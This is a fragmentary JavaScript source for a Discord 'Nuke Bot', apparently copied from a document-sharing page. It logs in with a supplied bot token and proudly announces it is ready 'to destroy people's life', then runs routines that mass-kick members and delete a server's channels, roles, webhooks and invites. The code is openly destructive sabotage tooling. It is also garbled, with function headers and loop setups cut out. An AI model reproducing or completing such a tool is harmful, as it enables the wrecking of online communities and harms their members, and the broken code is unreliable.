Professional Documents
Culture Documents
js");
const prompt = require("prompt-sync")({ sigint: true });
const chalk = require("chalk");
const { sleep } = require("visa2discord");
console.log(chalk.yellow("Please enter the bot token:"));
const token = prompt(chalk.cyan("> "));
const client = new Discord.Client({
intents: [
Discord.GatewayIntentBits.Guilds,
Discord.GatewayIntentBits.GuildMembers,
Discord.GatewayIntentBits.GuildIntegrations,
Discord.GatewayIntentBits.GuildVoiceStates,
Discord.GatewayIntentBits.MessageContent,
Discord.GatewayIntentBits.GuildMessages,
],
});
process.on("unhandledRejection", (error) => {
console.log(chalk.red("An error occurred:"));
if (error.message === "Used disallowed intents") {
console.log(
chalk.red(
"The bot needs the following intents to work:\n- MESSAGE CONTENT INTENT\n-
SERVER MEMBERS INTENT"
)
);
} else {
console.log(chalk.red(error.message));
}
process.exit(1);
});
client.login(token).catch((err) => {
console.log(chalk.red("An error occurred while logging in:"));
console.log(err);
console.log(chalk.red("Invalid token"));
process.exit(1);
});
client.on("ready", () => {
console.log(
chalk.green(
"The Nuke Bot is now ready and online to destroy people's life :))"
)
);
ask();
});
member.kick();
i++;
}
}
console.log(chalk.green(`Kicked ${i} members out of ${count} members`));
ask();
}
try {
channel[1].delete();
i++;
} catch {}
}
console.log(chalk.green(`Deleted ${i} channels out of ${count} channels`));
}
try {
role[1].delete();
i++;
} catch {}
}
console.log(chalk.green(`Deleted ${i} roles out of ${count} roles`));
ask();
}
try {
webhook[1].delete();
i++;
} catch {}
}
console.log(
chalk.green(
`Deleted ${i} webhooks out of ${guild.webhooks.cache.size} webhooks`
)
);
ask();
}
try {
invite[1].delete();
i++;
} catch {}
}
console.log(chalk.green(`Deleted ${i} invites out of ${count} invites`));
ask();
}